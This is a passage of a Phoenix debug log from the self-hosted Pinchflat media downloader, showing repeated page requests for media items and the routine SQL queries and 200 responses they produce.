body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKH (truncated) 22:17:23.628 [info] GET /sources/6/media/7775/edit 22:17:23.628 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "7775", "source_id" => "6"} Pipelines: [:browser] 22:17:23.630 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=202.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7775] 22:17:23.631 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=204.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.633 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=205.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.634 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=206.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.636 [info] Sent 200 in 8ms 22:17:23.648 [info] GET /sources/6/media/7139 22:17:23.649 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "7139", "source_id" => "6"} Pipelines: [:browser] 22:17:23.650 [debug] QUERY OK source="media_items" db=0.4ms idle=71.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7139] 22:17:23.651 [debug] QUERY OK source="sources" db=0.4ms idle=18.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.651 [debug] QUERY OK source="tasks" db=0.4ms idle=20.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [7139] 22:17:23.651 [debug] QUERY OK source="settings" db=0.2ms idle=18.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.652 [debug] QUERY OK source="settings" db=0.3ms idle=17.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.653 [debug] QUERY OK source="settings" db=0.3ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.654 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:23.657 [info] Sent 200 in 8ms 22:17:23.660 [info] GET /sources/6/media/7139/edit 22:17:23.660 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "7139", "source_id" => "6"} Pipelines: [:browser] 22:17:23.661 [debug] QUERY OK source="media_items" db=0.3ms idle=10.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7139] 22:17:23.662 [debug] QUERY OK source="settings" db=0.1ms idle=9.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.662 [debug] QUERY OK source="settings" db=0.3ms idle=9.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.663 [debug] QUERY OK source="settings" db=0.1ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.664 [info] Sent 200 in 4ms 22:17:23.665 [info] GET /sources/6/media/4767 22:17:23.665 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4767", "source_id" => "6"} Pipelines: [:browser] 22:17:23.665 [info] GET /sources/6/media/4768/edit 22:17:23.665 [info] GET /sources/6/media/4768 22:17:23.666 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4768", "source_id" => "6"} Pipelines: [:browser] 22:17:23.665 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4768", "source_id" => "6"} Pipelines: [:browser] 22:17:23.666 [debug] QUERY OK source="media_items" db=0.7ms idle=11.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4767] 22:17:23.667 [debug] QUERY OK source="media_items" db=0.9ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4768] 22:17:23.667 [debug] QUERY OK source="media_items" db=1.1ms idle=4.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4768] 22:17:23.668 [debug] QUERY OK source="tasks" db=0.9ms idle=4.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4767] 22:17:23.668 [debug] QUERY OK source="tasks" db=0.7ms idle=0.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4768] 22:17:23.668 [debug] QUERY OK source="sources" db=1.1ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.668 [debug] QUERY OK source="settings" db=0.8ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.668 [info] GET /sources/6/media/4767/edit 22:17:23.669 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4767", "source_id" => "6"} Pipelines: [:browser] 22:17:23.669 [debug] QUERY OK source="sources" db=1.8ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.669 [debug] QUERY OK source="settings" db=0.7ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.669 [debug] QUERY OK source="media_items" db=0.6ms idle=0.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4767] 22:17:23.670 [debug] QUERY OK source="settings" db=0.7ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.670 [debug] QUERY OK source="settings" db=0.5ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.670 [debug] QUERY OK source="settings" db=0.5ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.671 [debug] QUERY OK source="settings" db=0.6ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.671 [debug] QUERY OK source="settings" db=0.7ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.671 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.671 [debug] QUERY OK source="settings" db=0.5ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.672 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.672 [debug] QUERY OK source="settings" db=0.3ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.672 [info] Sent 200 in 6ms 22:17:23.673 [debug] QUERY OK source="settings" db=1.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.673 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:23.673 [info] Sent 200 in 4ms 22:17:23.674 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:23.675 [info] Sent 200 in 9ms 22:17:23.676 [info] Sent 200 in 10ms 22:17:23.870 [info] GET /sources/6/media/4769 22:17:23.870 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4769", "source_id" => "6"} Pipelines: [:browser] 22:17:23.871 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=199.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4769] 22:17:23.873 [debug] QUERY OK source="tasks" db=0.5ms idle=200.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4769] 22:17:23.873 [debug] QUERY OK source="sources" db=0.5ms idle=199.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.874 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=200.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.874 [debug] QUERY OK source="settings" db=0.2ms idle=200.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.875 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.877 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:23.880 [info] Sent 200 in 9ms 22:17:23.891 [info] GET /sources/6/media/4769/edit 22:17:23.891 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4769", "source_id" => "6"} Pipelines: [:browser] 22:17:23.892 [debug] QUERY OK source="media_items" db=0.4ms idle=18.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4769] 22:17:23.893 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=18.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.893 [debug] QUERY OK source="settings" db=0.3ms idle=18.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.894 [debug] QUERY OK source="settings" db=0.2ms idle=18.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.895 [info] Sent 200 in 4ms 22:17:23.898 [info] GET /sources/6/media/4770 22:17:23.898 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "4770", "source_id" => "6"} Pipelines: [:browser] 22:17:23.899 [debug] QUERY OK source="media_items" db=0.5ms idle=21.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [4770] 22:17:23.900 [debug] QUERY OK source="tasks" db=0.5ms idle=7.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [4770] 22:17:23.900 [debug] QUERY OK source="sources" db=0.4ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.901 [debug] QUERY OK source="settings" db=0.2ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.901 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.902 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.903 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:23.905 [info] GET /sources/6/media/4770/edit 22:17:23.906 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "4770", "source_id" => "6"} 